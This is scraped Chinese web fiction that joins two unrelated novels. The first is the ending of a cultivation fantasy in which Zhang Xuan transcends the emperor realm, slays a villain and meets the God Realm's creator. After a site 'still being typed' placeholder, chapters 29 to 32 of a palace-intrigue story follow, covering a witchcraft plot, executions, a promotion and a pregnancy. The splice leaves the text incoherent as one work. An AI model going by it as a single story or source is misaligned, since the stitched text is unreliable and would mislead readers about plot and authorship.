听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第29章 惩罚禁足 哭声一停,“妾身、妾身……”抽噎着说不出一句完整的话。 “打开看看吧,也许会让你想起来是什么东西。”他指了指地上的那个盒子。 何御女哽了哽,颤抖着伸出手去打开了盒子。 盒子一开,她立刻往旁边躲了一下。 里面掉出来一个木头人,上面缠绕着红绳,让人一看就汗毛直立。 “这才是巫蛊吧,那木头人上面还有红绳!” “可说呢,好可怕啊。” “她好像知道里面的东西是什么,躲得好快啊。” 窃窃私语的话都传到了何御女的耳朵里,背对着众人,她渐渐地握紧了拳头。 贺云徽对远山又做了一个请的动作,“还请道长查看一番。” 远山服了服身,上前查看起来。 跟一开始姜舒月他们一样,他也发现了木头人侧边的缝隙。 对着地上磕了几下,缝隙变大之后一个巧劲,就将木头人一分为二。 接着又从分开的木头人里掉出了一张叠好的纸,一些蜘蛛蜈蚣的尸体,还有稀碎的腐肉,都稀里哗啦的掉了出来。 但姜舒月做的东西是假的,也就是看着吓人,实际没有什么作用。 可别人不知道,看到这种情况都不约而同地往后退了几步,纷纷捂起口鼻。 立刻就有太监上前,得到远山明确东西是安全的之后,就拿了起来呈给了贺云徽。 贺云徽打开纸,发现上面写着的,竟是姜舒月的生辰八字。 踱步走到了何御女面前,居高临下的看着她,一把将纸扔在了她的脸上,声音如同淬了冰一般,“还敢狡辩!” 何御女拿下脸上的纸,上面白纸黑字写得清清楚楚明明白白,是姜舒月的八字。 一直在一旁看戏的弦月宫宫人们,适时的点明纸上写的是什么,“御女娘娘,娘娘平日里从未跟您有过节,您为什么要害她!” “不可能,你们胡说!这不可能!”她扔开纸,一把抱上了贺云徽的腿,“陛下,妾身真的没有做过!” 贺云徽却没有怜惜之情,一脚将她踹倒在了地上。 “啊!”她被踹翻了过去,又立刻爬了起来跪好,“陛下,陛下妾身真的没有害人,求您明察啊!” 琼林适时上前回道,“陛下,这几人乃是臣查到的,跟何御女在宫外有所联系的药房掌柜。经他们辨认,正是何御女身边的宫女锦绣,前去他们的药房买了一些特殊药材。” 紧接着锦绣也被压着跪到了地上。 “皇上饶命啊,这女子过来买药,虽是平常不常用的药物,但是她只是在草民这里买了一味药材。草民、草民不知这娘娘买的药材是要害人的啊!” 几个药房掌柜不停地磕头求饶,只希望贺云徽能够饶他们一命。 锦绣也哭着求饶,“皇上,奴婢只是按照娘娘的吩咐去采买一些药材,奴婢并不知道她要干什么啊!求皇上饶命!” 何御女一听,自己身边的丫鬟背叛了自己,顿时怒不可遏扑了过去,朝锦绣脸上就是一巴掌。 “你这个吃里扒外的贱人!说,是谁让你来陷害我的!” 不等贺云徽下令,福明已经指挥小太监们将何御女拉开,“放肆!陛下面前岂容你们大呼小叫!” 何御女整个人不停地挣扎,又往锦绣身上踹了几脚,最后被人拉远了才消停。 “此外,还有一人,可指认何御女所犯之事。”琼林对着门外一招手,又有人被带了进来。 何御女抬头望去,竟然是…… “此人是何御女身边的另一个贴身宫女,是她主动找到属下,希望能够指认何御女。” 就跟现代一样,污点证人都是可以享受到一些特殊待遇的。 果然萱草跪下之后就开口说道:“陛下,奴婢只有一个要求。” “萱草!你这贱人!……唔!”她实在聒噪,福明忍不住拿着一团破布堵了何御女的嘴。 萱草被她的声音惊吓到,瑟缩了一下。 “说。” “奴婢自知罪无可恕,只求陛下放了奴婢一家,”萱草抬起头,第一次直视了这位年轻俊美的帝王。 贺云徽点点头,“若你能指认所做之人,朕便允了你。” 得到了承诺,萱草深吸了一口气, “此前何御女食物中毒腹泻,又被您撤了牌子,心中愤恨。认为是姜美人从中作梗,便查阅了古籍,识得了厌胜之术。 后又以家人作为威胁,逼迫奴婢,奴婢实在不忍家人受苦,只好为虎作伥。 何御女买回没用完的药材,和那本古籍都藏在了床边的暗格里,陛下可派人前去搜查。” 她心里大概也清楚,原本埋在弦月宫的木头人,为何突然到了兰馨阁。 但这已经不重要了,这一次,何御女已经输了。 说完她整个人跪趴下来,静静地等待自己的最终的惩罚。 而何御女在萱草说完这些话之后,瘫软在了地上。 完了,都完了…… 接着她瞄到了一直藏在人群里的王常在,眼神一狠,用力挣脱了控制她的太监,把嘴里的布扯出。 “是我做的又怎么样!不光是我,还有王忆柳!”她破罐破摔,既然说是好姐妹,那就陪她一起下地狱吧! 在何御女开口的时候王常在就知道不好,还没等自己溜走,她就被何御女攀扯了出来。 众人也默契地将藏在人群里的王常在亮了出来,她的动作还滑稽地保持在蹑手蹑脚准备开溜的样子。 王常在见势不对立马跪下来,“陛下!妾身冤枉!” “呵,你冤枉?我何尝不冤枉?我就是去了你那里才会食物中毒!说起来都是你!是你害了我!” 何御女癫狂地指责王常在,丝毫看不出来昔日好姐妹的模样。 王常在也反驳了起来,“凭什么怪我?你自己就没有问题吗?看别人侍寝了你就酸。我劝过你的,偏你觉得自己计划天衣无缝!” 说着她还往地上啐了一口,又惹得众人纷纷避让,“我顶多算个帮凶,你才是罪魁祸首!!” 两人就这样你一言我一语的,在人前互相谩骂了起来,期间还将对方说了谁的坏话都说了出来。 围观的人:有被冒犯到。 姜舒月甚至都想抓把瓜子磕起来。 看闹得差不多了,贺云徽也没了耐心,重重地磕了一下茶杯。 清脆的茶杯碰撞声让两人犹如被扼住喉咙一般,没了声响。 “何氏,竟敢私行巫蛊之术,诅咒妃嫔,其行径恶毒,令人发指,拖出去杖毙,王氏,与何氏同谋,一并拉下去,杖毙。” 两人被人紧捂着嘴巴拖了下去。 两家人还不知道,自己的孩子在宫里犯了什么罪。 只知道,稀松平常的日子里,家就被抄了,钱财被罚没了,人被流放了。 等他们了解了因果之后,锤头顿足自己就是生了一个棒槌,也比生了这两个孽障强。 但是说这些也晚了,只能眼睁睁地看着往日的荣光离自己远去。 【恭喜宿主完成任务,奖励100积分,5个道具锦囊,当前积分:305,道具锦囊:12个,请宿主再接再厉!】 123不知道在哪里学的,猫爪上还拿着一个小小礼花,随着它话音刚落就“嘭”的放了起来。 接着又听贺云徽说道,“贵妃代掌凤印,却御下不严,禁足三个月,由淑妃和婉妃暂管六宫事宜。” 宋滢没想到自己竟然也被处罚了,有心想要为自己辩解一番,但看到贺云徽眼里一点温度都没有,只能强忍着应了。 “臣妾……遵旨。” 淑妃心里笑开了花,这权利一旦分出来,想要再拿回去可就难了。 谁能想到她还能分一杯羹啊。 姜婉清更是接的理所应当,“臣妾遵旨。” “道长,”贺云徽看着一地的动物尸体,也不知道这东西会不会继续对姜舒月的身体有害,“这厌胜之术,可还会对人有害?” 第30章 晋位了 远山细细观察之后摇头,“这东西只是半成品,看着可怕,实际诅咒效力不足。 既已被找到,就已是破了法,无法再害人了。找些松木将这些东西一起焚烧,灰烬尽数埋入地里即可。” “谢道长,还请道长帮忙处理,朕定有重赏。”贺云徽松了一口气,他就怕这东西还有效力,让姜舒月继续被折磨。 看到她们还杵着,就挥手让她们都走了,堆在一起空气都稀薄了。 方静姝还是有些担心姜舒月,但现在明显不是看望的时机,想着回去再送些药材过来。 姜舒月听着声音渐渐散去,也跑回了床上躺着。 门被推开,贺云徽再次坐到了床边。 看床上的人虽然闭着眼睛,但眼睫毛不住地颤抖,便上手捏了捏她的脸。 “别装睡了,都听到了?”贺云徽低沉的声音响起。 姜舒月睁开了眼睛,“是您太大声了,妾身才听到的。” 不知道是不是因为巫术被破解的原因,她的脸色较刚才好了一些,“这么说来,还是朕的错了?” 她仔细地看了看贺云徽的脸,确定他只是同自己开玩笑,才煞有其事地点点头。 贺云徽被她气笑,自己是为了谁在外面大动干戈啊? “小没良心的,”嘴上这么说着,但是眼神里还是透露出一丝不一样的情感,“你,好好休息,养好身体才能跟朕一起出去南巡。” 她的眼睛亮亮的,虽然脸色还是苍白,“陛下,不要担心,妾身已经好多了。” 贺云徽没说话,眼神复杂的看着姜舒月,半晌后,抓住她的手,缓缓凑到唇边,轻轻落下一吻。 “缺什么就让手底下人去办,朕忙完会再来看你。”说着他摩挲着姜舒月的手,明明打算处理完事情就走的。 结果一看到她的脸,又不舍得离开了。 最后逼着自己出了弦月宫。 心里却已经想好了,除了南巡之外,还是可以再给她一点补偿的。 系统任务完成了,幻影沉疴丸的药效也逐渐的褪去。 姜舒月乐得高兴,自己终于不用再装病了。 等到第二日的时候,胡太医来把脉时已经看到好转的迹象。 对于昨天发生的事情,太医院的太医们也有所耳闻。 再看看姜美人这气色这精神,心里也对这厌胜之术相信了十成十。 刚被远山道长破解掉巫术,第二天就开始好转了,这不是被巫术害了是什么? 肯定不是他们太医的医术不行。 胡太医把脉之后,眉头渐渐舒展,“娘娘今日气色有所好转,脉象也不像是之前那般虚弱,已经渐显有力。 待老臣重开一副方子,继续温补着,饮食上的话还需要注意,清淡饮食。若是可以起身,适当的活动一下以助气血流通。” 几个丫鬟都在一旁严阵以待,听完太医的话之后,都表现出了惊喜。 “太好了,多谢胡太医!” 胡太医笑着摇摇头,“是娘娘吉人天相,辛苦几位一会来太医院取药。” 说着跟姜舒月躬身,“娘娘还请放宽心,后日老臣再来复诊。” “胡太医客气了,扶风,替我送送胡太医。” 等到胡太医出了门之后,静玉弯腰替姜舒月垫高了一些身后的靠枕,又笑着说:“看来过几日,娘娘就可以康复了。” 姜舒月舒坦地享受着静玉的服侍,闻言也不由得点点头。 “也不知道南巡都要去什么地方,除了皇宫,我还没有去过别的地方呢。” 姜舒月当然说的是自己,一睁眼就直接到了宫里,若是没有恩典也不可能出得了宫。 但是静玉耳朵里听到的就是另外一回事了。 她虽然在姜舒月身边呆的时间很短,但是对于她在姜家的待遇,也通过扶风了解了一些。 想到娘娘长到这么大,竟然连姜家的后院都没出去过,唯一一次出门还是进宫。 自然是对外面的世界感到好奇,心里又开始怜爱起姜舒月了。 姜舒月没察觉到,只是又开始沉浸到自己的世界里了。 对于她偶尔的走神,弦月宫上下也都习惯了。 静玉见状也没有打扰,整理好之后就退了出去。 小方子正在外头瞎折腾,打算用柚子叶去去晦气。 丫鬟担心烟熏火燎的,熏到姜舒月,还特意将门关了起来。 “咳咳!小方子!你这管用吗?!”扶风被呛的直流眼泪。 小方子一边熏着,一边给几人说道:“扶风姐姐,这是奴才老家的土方子,虽然不确定是否有用,但是咱们宫里毕竟还是发生了一些让人感到晦气的事情,熏一熏,求个心安嘛。” 他说的是没错,这次算是有惊无险的过去了,但是一想到那个海棠树下埋了那么可怕的东西,确实让人心里犯膈应。 大家也都默契地一起帮着熏了起来。 熏到一半,门外突然有太监手上捧着一卷明黄色的卷轴走了进来。 “姜娘、咳咳!什么气味?!” 小太监本来是笑着进来的,没想到话说了一半被就被弦月宫里的烟雾呛了一把。 自己宣旨多次,还是第一次被烟熏出去的。 几人也没想到突然人造访,手忙脚乱地灭了烟,拿着蒲扇拼命扇着。 “对不住啊公公,您在门口稍后,等奴才们将烟散一散。” 小路子不好意思的将人请到了门口,自己折回去跟着一起扇着。 一会之后,烟就散的差不多了。 几人才又将人请了起来。 传旨太监理了理衣服,假装自己第一次进来。 “恭喜姜娘娘,贺喜姜娘娘了,陛下有旨。” 众人愣了一下,明夏反应快速,就要进去找姜舒月,“奴婢去请娘娘出来。” “诶!”宣旨太监急忙出声制止,“陛下口谕,姜娘娘身体不适,不必出门相迎,还请姑娘带咱家进去。” 几人喜形于色,赶忙去开了门。 姜舒月还保持着刚刚静玉出门前的动作靠在那里,听到动静从床上探出了一个脑袋。 宣旨太监并没有进到内室去,只站在外间,开始宣旨。 “姜娘娘无需行跪礼,如此便可。 奉天承运,皇帝诏曰,今有姜氏舒月,淑慎性成,勤勉柔顺,雍和纯粹,性行温良,克娴内则,淑德含章。着即册封为正五品贵人,钦此。” 姜舒月愣住,竟然是给自己晋位了吗? 【恭喜宿主离目标又近了一步!】 123又拿着不知道哪里来的礼花噼里啪啦放着。 太监宣完旨之后笑眯眯地,将圣旨递给了一旁的扶风。 “妾身谢陛下恩典~” 扶风心里狂喜,但是她时刻谨记着要端住,不能太外露给自家娘娘丢人。 颤抖着双手接过圣旨,放好之后又拿出来一个鼓囊囊的荷包塞给了对方。 笑的真心实意,“多谢公公,劳烦您了。” 他也不推辞,直接收下,又笑着对姜舒月说道,“姜娘娘,陛下还有口谕:南巡日期已定,还请娘娘莫要忘记与陛下的约定,过两日,陛下会亲自过来检验成果。” “是,妾身遵旨。” 待那太监离开之后,一直端着的几人都纷纷兴奋地给姜舒月道喜。 姜舒月心里也高兴,位份升了,就说明自己的待遇也要提升了,是好事! 贺云徽肯定是因为这次自己遭了难才会想要给自己晋位的,这白来的好处,不要白不要。 “今儿高兴,每人都有赏!” 几人更高兴了,顿时那好话就跟不要钱似的直往外面冒。 直听得姜舒月自己都不好意思了。 而这消息也在补刀半个时辰内传遍了后宫。 宋滢如今还在禁足当中,听了这个消息浑身冒着冷气。 自己还是小看了这姜舒月,这么快就晋位了。 朝阳宫的人最近因为宋滢被禁足,本来服侍的时候就战战兢兢。 有紧张的宫女奉茶,不小心弄的太烫了,直接就被宋滢拉出去杖打了二十大板。 这下宫人心里更是惶恐。 即便是被禁足,但是该送的礼还是得送。 弦月宫又开始了新一轮的迎来送往。 方静姝更是亲自拿着贺礼前来。 第31章 散财童子 静常在是有自己的小九九的,南巡妃子少,自己一旦跟着一起去,很有可能会侍寝。 只要能接近陛下,就有机会侍寝。 她已经受够了在别人手底下生活了。 “你先起来,”兰昭容让她的丫鬟将人扶起来,“此事本宫并无权利左右陛下的决定,本宫帮不了你,你回去吧。” 静常在没想到兰昭容这么直接就拒绝了自己,脸色一阵青一阵白,半晌,愤恨地起身离去。 “娘娘,这静常在真是越发的没有规矩了,您何故还对她有好脸色?” 和兰昭容一样,清露和清姿也对这个静常在也是厌恶多过好感。 兰昭容无所谓的摇摇头,“就让她作,本宫不罚她,就是助长她的气焰,早晚她会自食恶果。” 兰昭容没想到自己随口一说的话,日后真的应验了。 离上次打玩麻将又过去了三天,今日来给姜舒月复诊地太医是刘太医。 他凝神静气,好一会才站起来笑着给姜舒月道喜,“恭喜姜娘娘,娘娘今日脉象已一切正常,可以不用再继续喝药了。” 姜舒月也松了一口气,终于可以不用装病了。 鬼知道她闷在房间里好几天了,没病都要闷出病了。 “还是多亏太医们医术精湛,本宫才能好的那么快。”姜舒月突然有些心虚。 因为自己装病的事情,累的太医们一直在弦月宫和太医院两边跑,动不动还要被贺云徽【陪葬】威胁。 如今药丸的效果已经全退了,也不用再劳累太医们了。 “娘娘不必如此客气,”刘太医摸了摸胡子,“虽脉象已经正常,但是身体还需继续调养。” “多谢刘太医,”姜舒月招来明夏,“明夏送送刘太医。” 明夏脆生生地应了,代替药童把药箱背了起来。 “呕——” 已经是第四次了。 尹宝林从昨天早上开始,就不停地在干呕,豆蔻和莲心以为她吃坏了东西。 “娘娘,奴婢去给您请太医吧,您已经吐了好几次了。” 莲心急得不得了,娘娘连早膳和午膳都没办法吃,一闻到就会恶心想吐。 尹宝林泪眼汪汪,手不停地抚着心口,刚要说话,窗外突然飘进来一股香气。 “呕——” 豆蔻一看,也不管尹宝林让不让去了,直接嘱咐莲心,“你看着娘娘,我去请太医。” 风一般的就跑了出去,幸而还没到太医院的时候,就迎面撞见了刚从弦月宫看完诊出来的刘太医。 “刘太医!”豆蔻拦住了刘太医,气喘吁吁地说道:“您快去看看我家娘娘,她从早上开始到现在一直在吐。” 明夏还跟背着刘太医的药箱,闻言也不多说,拉着刘太医就往翠竹轩跑。 刘太医:…… “明夏丫头……慢点慢点……” 豆蔻还没反应过来,两人已经跑出去一段距离了,她立刻跟了上去。 到了翠竹轩还没喘口气,明夏就停住了脚步,没再往里走,将药箱递给了刘太医。 豆蔻赶到对明夏感激地点点头,推着刘太医进了屋。 尹宝林这会还很难受,靠在床上捂着鼻子,避免呼吸到什么气味又让自己呕吐。 “刘太医,您快看看我家娘娘。” 刘太医看着尹宝林的脸色苍白,开口问道:“娘娘可有误食什么东西?” 豆蔻和莲心都摇头,“娘娘从昨夜就说胃口不好你不想吃东西,到了今日早上,刚提的早膳闻着就吐了,一直到现在都还未进食。” 听着她们说的,刘太医心里大概已经有数是什么原因造成的了。 于是他说了一句,“娘娘,请伸出手来。” 尹宝林的手腕纤细,刘太医轻轻的将手搭了上去。 过了一会他点点头,“娘娘脉象弦中带滑,瞧着是喜脉,只是月份尚浅,再过段时间再来给您看看就能确认了。” 喜脉?竟然是怀孕了吗?! 三人被这一消息砸了晕头转向。 尹宝林一脸欣喜地将手放在了肚子上。 “虽身体有些虚,好好养着即可,不必用药。”刘太医又叮嘱了几句注意事项。 豆蔻和莲心都高兴得要哭出来了。 不住地跟刘太医道谢,又给刘太医拿了赏银。 刘太医推辞不过,只好收下。 在刘太医临走之前还特意跟刘太医说了一声,让他保密,刘太医也理解她们的小心,就应了下来。 出门一看,明夏还在门口等着。 豆蔻虽然感激明夏将刘太医送过来,但是防人之心不可无,便也没有对明夏说什么。 明夏也对其他人宫里的事情不感兴趣。 从豆蔻的表情来看,尹宝林看来应该是没有什么事情。 对着豆蔻点点头,又接过药箱,打算将刘太医送至太医院。 明夏的师傅和刘太医是同僚,小时候也经常跟她师傅一起教导明夏医术,自然关系密切。 但是外人并不知道他们之间的关系,所以路上刘太医莫名其妙的跟明夏说了一句话。 “你家娘娘也侍寝几次了,该补身体的,记得给她补补。” 明夏还是黄花闺女,一时间也没想到别的地方去。 就回了一句:“我家娘娘现在身体养的挺好的。” 刘太医:…… 行吧,话也不能说的太明显了,让她自己慢慢领悟吧。 回去的路上,明夏才突然回过味来。 刘爷爷这话,该不会是? “陛下,”福安想到刚刚太医院回禀的事情,脸上也带了笑,“太医院来报,尹宝林可能有孕了。” 贺云徽拿笔的手一顿,立马站了起来,“当真?” 福安又笑着回道:“刘太医去看的诊,像是喜脉,只是月份小,要等再大一些才能看得准。” 他脸上难得露出了笑容,“好!让他过段时间再去给尹宝林看诊,确认了朕都有赏!” 说着,他又想起来姜舒月,又问道:“姜贵人那呢?” 福安心说刚刚幸亏自己多嘴问了一句,“回陛下,刘太医今日刚给贵人看完诊,贵人身子已经大好了,日后只需好好调养便可。” 贺云徽脸上笑容更深了一些,只觉得今天大概是个黄道吉日,就连还没处理完的政务就顺眼了起来。 “走,摆驾翠竹轩。” 福安躬身应是。 豆蔻现在整个人都有些飘飘然了。 上次皇上也来了,但是当时娘娘被人陷害,自己一晚上心惊肉跳,生怕娘娘惹了皇上不高兴。 但是这次不一样,皇上是笑着进来的,说明他已经知道娘娘可能怀孕了。 尹宝林脸红红地看着贺云徽,心里甜蜜已经把她的难受驱散掉了。 贺云徽握着她的手,温和地问道,“可还有哪里不舒服?” 尹宝林羞涩地摇摇头,“陛下来看妾身,妾身就已经好多了。” 贺云徽点头,“朕听说你还未进食,现在情况不一样,为了身体也要吃些东西,想吃什么就让他们去做,不舒服就要马上让太医过来。” 他难得对自己说那么多话,上次侍寝的时候全程黑着脸,自己也不敢多说什么。 原来他也能这么温柔地跟自己说话。 尹宝林心里想着,乖顺地点点头,“妾身知晓的,陛下不用太担心妾身。” “那就好,”说着他就站起身来,跟豆蔻和莲心说着,“你们娘娘如今身子重要,你们定要小心伺候。” 豆蔻和莲心忙不迭应了。 贺云徽看她脸色实在苍白,就又吩咐下去,让尚食局做了些清淡的饮食送过来。 吩咐完了之后,贺云徽想着顺道去看看姜舒月,就准备起身离开。 尹宝林一惊,不自觉地抓住了他的手,“陛下,今日不留下来陪陪妾身吗?” 他拍了拍尹宝林的手,安抚似的,“姜贵人今日身体好了些,朕过去看看她。” 尹宝林听完脸色更白了,手也抓得更紧了。 “你好生歇着,朕有空再来看你。”他并没有因为尹宝林的挽留而打消念头,再次叮嘱过宫人之后就离开了。 豆蔻心里不忿,嘴上也没有顾忌,直接脱口而出:“姜贵人这是干嘛,故意截您的宠吗?” 第32章 有身孕了 尹宝林不说话,眼泪先流了下来。 “豆蔻!姜贵人病了,陛下去看看她也正常,传出去别人还以为……” 莲心看尹宝林已经在哭了,连忙制止豆蔻。 “她敢做还不让人说啊!那明夏就是她的人,万一刘太医跟她说了什么呢?” 她越想越是那么回事,不然自家娘娘都怀孕了,陛下怎么又转道去了她那? 肯定是这样! 但她还真是猜错了,姜舒月这会正忙着打牌呢。 自从上次做了麻将很成功之后,她又琢磨起别的东西了。 于是让小路子又画了一副扑克牌,拿去造办处让人看着做一副了。 